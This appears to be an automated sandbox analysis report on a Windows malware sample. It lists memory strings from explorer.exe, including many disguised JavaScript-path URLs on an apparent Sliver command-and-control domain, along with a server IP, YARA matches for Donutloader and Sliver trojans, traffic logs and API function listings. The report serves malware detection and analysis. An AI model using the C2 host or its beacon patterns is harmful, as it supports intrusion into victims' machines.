Source: explorer.exe, 00000005.00000002.3002020019.000000C00030C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/javascript/script.js?i=9g6924310
Source: explorer.exe, 00000005.00000002.3002020019.000000C0000B8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/javascript/umd/javascripts/script/umd/backbone.js?
Source: explorer.exe, 00000005.00000002.3002020019.000000C0000C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/javascript/umd/javascripts/script/umd/backbone.js?j=2235850
Source: explorer.exe, 00000005.00000002.3002020019.000000C0000B8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/javascript/umd/javascripts/script/umd/backbone.js?sliver.kaboum.xyz
Source: explorer.exe, 00000005.00000002.3007836339.000000C000580000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/javascripts/app.min.js?k=16794834
Source: explorer.exe, 00000005.00000002.3002020019.000000C0002FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/javascripts/app.min.js?q=13c091045
Source: explorer.exe, 00000005.00000002.3002020019.000000C000254000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/javascripts/array.js?h=3g2539868
Source: explorer.exe, 00000005.00000002.3002020019.000000C00001A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/javascripts/backbone.js?_=35188464
Source: explorer.exe, 00000005.00000002.3002020019.000000C000055000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/javascripts/javascript/javascript/javascripts/js/script.js?
Source: explorer.exe, 00000005.00000002.3002020019.000000C000055000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/javascripts/javascript/javascript/javascripts/js/script.js?0
Source: explorer.exe, 00000005.00000002.3002020019.000000C000254000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/javascripts/javascript/javascript/javascripts/js/script.js?o=y8t4764415
Source: explorer.exe, 00000005.00000002.3002020019.000000C00001A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/javascripts/javascripts/js/js/script/app.min.js?
Source: explorer.exe, 00000005.00000002.3002020019.000000C000028000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/javascripts/javascripts/js/js/script/app.min.js?q=8_04158u45
Source: explorer.exe, 00000005.00000002.3002020019.000000C00001A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/javascripts/javascripts/js/js/script/app.min.js?sliver.kaboum.xyz
Source: explorer.exe, 00000005.00000002.3002020019.000000C000254000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/js/array.js?c=8c275l5048
Source: explorer.exe, 00000005.00000002.3002020019.000000C0000B0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/js/javascript/app.min.js?h=603b2h1231
Source: explorer.exe, 00000005.00000002.3002020019.000000C00001A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/jscript/javascript/javascripts/js/script.js?n=6012979
Source: explorer.exe, 00000005.00000002.3002020019.000000C00001A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/jscript/javascript/javascripts/js/script.js?n=6012979sliver.kaboum.xyz
Source: explorer.exe, 00000005.00000002.3002020019.000000C0001C8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/jscript/js/app.min.js?g=62721655
Source: explorer.exe, 00000005.00000002.3002020019.000000C0001C8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/jscript/js/app.min.js?g=62721655C:
Source: explorer.exe, 00000005.00000002.3002020019.000000C0001C8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/jscript/script.js?u=7dz9778131
Source: explorer.exe, 00000005.00000002.3007836339.000000C000580000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/jscript/umd/backbone.js?m=59p421880
Source: explorer.exe, 00000005.00000002.3007274226.000000C00049E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/script.js?f=720f81321
Source: explorer.exe, 00000005.00000002.3002020019.000000C0000B8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/script/javascripts/script/script/array.js?a=50029735
Source: explorer.exe, 00000005.00000002.3002020019.000000C0000B8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/script/javascripts/script/script/array.js?a=50029735sliver.kaboum.xyz
Source: explorer.exe, 00000005.00000002.3002020019.000000C0000B8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/umd/script/umd/script/javascripts/backbone.js?
Source: explorer.exe, 00000005.00000002.3002020019.000000C0000C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/umd/script/umd/script/javascripts/backbone.js?a=7711n8412
Source: explorer.exe, 00000005.00000002.3002020019.000000C0000B8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/umd/script/umd/script/javascripts/backbone.js?sliver.kaboum.xyz
Source: explorer.exe, 00000005.00000002.3002020019.000000C00012A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyzb
Source: explorer.exe, 00000005.00000002.3002020019.000000C0001A6000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyzhttps://sliver.kaboum.xyzhttps://sliver.kaboum.xyz
Source: explorer.exe, 00000005.00000002.3002020019.000000C0002FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://u=7dz97781311HTTP/1.1HTTP/1.1eUser-AgentAccept-Lu=Accept-LanguageAccept-Languageen-US
Source: explorer.exe, 00000005.00000000.2008226778.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2988827931.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 00000005.00000000.2008226778.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2988827931.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 00000005.00000002.2994680970.000000000C557000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2015119531.000000000C557000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://wns.windows.com/L
Source: explorer.exe, 00000005.00000002.2994680970.000000000C5E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2015119531.000000000C5E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://word.office.com
Source: explorer.exe, 00000005.00000000.2008226778.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2988827931.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/lifestyle/lifestyle-buzz/biden-makes-decision-that-will-impact-more-than-1
Source: explorer.exe, 00000005.00000000.2008226778.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2988827931.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/lifestyle/travel/i-ve-worked-at-a-campsite-for-5-years-these-are-the-15-mi
Source: explorer.exe, 00000005.00000000.2008226778.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2988827931.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2008226778.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2988827931.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/personalfinance/13-states-that-don-t-tax-your-retirement-income/ar-A
Source: explorer.exe, 00000005.00000000.2008226778.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2988827931.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/personalfinance/no-wonder-the-american-public-is-confused-if-you-re-
Source: explorer.exe, 00000005.00000000.2008226778.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2988827931.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/clarence-thomas-in-spotlight-as-supreme-court-delivers-blow-
Source: explorer.exe, 00000005.00000000.2008226778.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2988827931.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/exclusive-john-kelly-goes-on-the-record-to-confirm-several-d
Source: explorer.exe, 00000005.00000000.2008226778.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2988827931.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/topic/breast%20cancer%20awareness%20month?ocid=winp1headerevent
Source: explorer.exe, 00000005.00000000.2008226778.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2988827931.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/a-nationwide-emergency-alert-will-be-sent-to-all-u-s-cellphones-we
Source: explorer.exe, 00000005.00000000.2008226778.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2988827931.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/metro-officials-still-investigating-friday-s-railcar-derailment/ar
Source: explorer.exe, 00000005.00000002.2988827931.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/when-does-daylight-saving-time-end-2023-here-s-when-to-set-your-cl
Source: explorer.exe, 00000005.00000000.2008226778.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2988827931.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/world/agostini-krausz-and-l-huillier-win-physics-nobel-for-looking-at
Source: explorer.exe, 00000005.00000000.2008226778.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2988827931.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/topstories/rest-of-hurricane-season-in-uncharted-waters-because-of
Source: explorer.exe, 00000005.00000000.2008226778.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2988827931.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/topstories/us-weather-super-el-nino-to-bring-more-flooding-and-win
Source: explorer.exe, 00000005.00000000.2008226778.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2988827931.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com:443/en-us/feed
Source: explorer.exe, 00000005.00000000.2008226778.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2988827931.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.rd.com/list/polite-habits-campers-dislike/
Source: explorer.exe, 00000005.00000000.2008226778.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2988827931.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.rd.com/newsletter/?int_source=direct&int_medium=rd.com&int_campaign=nlrda_20221001_toppe

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49902
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746

Source: unknown

HTTPS traffic detected: 51.158.71.131:443 -> 192.168.2.4:49730 version: TLS 1.2

Source: explorer.exe, 00000005.00000002.3002020019.000000C0001A6000.00000004.00000001.00020000.00000000.sdmp

Binary or memory string: RegisterRawInputDevices

memstr_c6ecc0d9-4

System Summary

Malicious sample detected (through community Yara rule)

Source: sslproxydump.pcap, type: PCAP	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000005.00000002.2998102835.000000001250C000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Multi_Trojan_Bishopsliver_42298c4a Author: unknown
Source: 00000005.00000000.2017326875.0000000011260000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000005.00000002.3000252057.000000001356C000.00000002.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Multi_Trojan_Bishopsliver_42298c4a Author: unknown
Source: 00000005.00000002.2997055833.0000000011260000.00000010.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000000.00000003.2030512707.000001FF1D5EB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: Process Memory Space: explorer.exe PID: 2580, type: MEMORYSTR	Matched rule: Multi_Trojan_Bishopsliver_42298c4a Author: unknown

Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652EE3444 NtQueryInformationProcess,NtQueryInformationProcess,	0_2_00007FF652EE3444
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652E65E40 NtDeviceIoControlFile,RtlNtStatusToDosError,	0_2_00007FF652E65E40
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652EE4514 NtQuerySystemInformation,memcpy,memcpy,memcpy,memcpy,memcpy,RtlFreeHeap,	0_2_00007FF652EE4514
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652E6656F NtCreateFile,RtlNtStatusToDosError,CreateIoCompletionPort,SetFileCompletionNotificationModes,CloseHandle,	0_2_00007FF652E6656F
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652EE111E NtQueryInformationProcess,ReadProcessMemory,ReadProcessMemory,NtQueryInformationProcess,ReadProcessMemory,ReadProcessMemory,OpenProcessToken,GetTokenInformation,GetLastError,GetProcessHeap,HeapAlloc,GetTokenInformation,CloseHandle,CloseHandle,memcpy,RtlFreeHeap,RtlFreeHeap,	0_2_00007FF652EE111E
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652EE168A NtQueryInformationProcess,ReadProcessMemory,ReadProcessMemory,OpenProcessToken,GetTokenInformation,GetLastError,GetProcessHeap,HeapAlloc,GetTokenInformation,CloseHandle,memcpy,	0_2_00007FF652EE168A

Source: C:\Users\user\Desktop\WOlxr4yjgF.exe

Code function: 0_2_00007FF652E65E40: NtDeviceIoControlFile,RtlNtStatusToDosError,

0_2_00007FF652E65E40

Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652E694F9	0_2_00007FF652E694F9
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652EA54C0	0_2_00007FF652EA54C0
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652EAB1D8	0_2_00007FF652EAB1D8
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652E811D0	0_2_00007FF652E811D0
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652E317F3	0_2_00007FF652E317F3
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652EA7BD2	0_2_00007FF652EA7BD2
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652E9DB4C	0_2_00007FF652E9DB4C
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652E75CE4	0_2_00007FF652E75CE4
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652E83980	0_2_00007FF652E83980
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652EB7A83	0_2_00007FF652EB7A83
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652E68655	0_2_00007FF652E68655
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652EE4C62	0_2_00007FF652EE4C62
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652E76A17	0_2_00007FF652E76A17
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652E74A04	0_2_00007FF652E74A04
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652EE0AEF	0_2_00007FF652EE0AEF
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652E7AFA4	0_2_00007FF652E7AFA4
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652EE111E	0_2_00007FF652EE111E
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652EB6F2C	0_2_00007FF652EB6F2C
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652E8F41E	0_2_00007FF652E8F41E
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652EDD420	0_2_00007FF652EDD420
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652EC740F	0_2_00007FF652EC740F
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652EC33D0	0_2_00007FF652EC33D0
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652E8B342	0_2_00007FF652E8B342
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652E5744F	0_2_00007FF652E5744F
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652EB11A0	0_2_00007FF652EB11A0
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652EBD140	0_2_00007FF652EBD140
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652E5313D	0_2_00007FF652E5313D
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652E632F5	0_2_00007FF652E632F5
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652ED37B0	0_2_00007FF652ED37B0
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652E4D796	0_2_00007FF652E4D796
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652E9243D	0_2_00007FF652E9243D
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652ECB8B0	0_2_00007FF652ECB8B0
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652EB3850	0_2_00007FF652EB3850
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652EEF54F	0_2_00007FF652EEF54F
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652ED96E0	0_2_00007FF652ED96E0
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652EDB6A0	0_2_00007FF652EDB6A0
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652ED5670	0_2_00007FF652ED5670
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652EBDC30	0_2_00007FF652EBDC30
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652E35BB6	0_2_00007FF652E35BB6
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652ED1D10	0_2_00007FF652ED1D10
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652EE9B0C	0_2_00007FF652EE9B0C
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652E38010	0_2_00007FF652E38010
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652EC8130	0_2_00007FF652EC8130
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652E600D3	0_2_00007FF652E600D3
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652E7C062	0_2_00007FF652E7C062
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652ED5D40	0_2_00007FF652ED5D40
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652ED3E80	0_2_00007FF652ED3E80
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652E3BE60	0_2_00007FF652E3BE60
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652ED23F0	0_2_00007FF652ED23F0
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652ED84F0	0_2_00007FF652ED84F0
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652E484F3	0_2_00007FF652E484F3
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652E9243D	0_2_00007FF652E9243D
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652E682CB	0_2_00007FF652E682CB
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652ED0290	0_2_00007FF652ED0290
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652ECC290	0_2_00007FF652ECC290
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652EEC74A	0_2_00007FF652EEC74A
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652ED0900	0_2_00007FF652ED0900
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652EBC8D0	0_2_00007FF652EBC8D0
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652EBA880	0_2_00007FF652EBA880
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652EEE86E	0_2_00007FF652EEE86E
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652EE0867	0_2_00007FF652EE0867
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652EC85E0	0_2_00007FF652EC85E0
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652E906B8	0_2_00007FF652E906B8
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652EBE690	0_2_00007FF652EBE690
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652E84688	0_2_00007FF652E84688
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652ECAC00	0_2_00007FF652ECAC00
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652EF2B60	0_2_00007FF652EF2B60
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652E5CD2F	0_2_00007FF652E5CD2F
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652E42D0D	0_2_00007FF652E42D0D
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652E40C5F	0_2_00007FF652E40C5F
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652ECEB10	0_2_00007FF652ECEB10
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652E6CA7F	0_2_00007FF652E6CA7F
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652E38F80	0_2_00007FF652E38F80
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652E34F60	0_2_00007FF652E34F60
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652ED1040	0_2_00007FF652ED1040
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652EE8DEC	0_2_00007FF652EE8DEC
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652EC2DD0	0_2_00007FF652EC2DD0
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652EACD40	0_2_00007FF652EACD40
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652E60F00	0_2_00007FF652E60F00
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652E3CED0	0_2_00007FF652E3CED0
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652EA8E5A	0_2_00007FF652EA8E5A

Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: String function: 00007FF652E38A50 appears 187 times
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: String function: 00007FF652E38600 appears 60 times
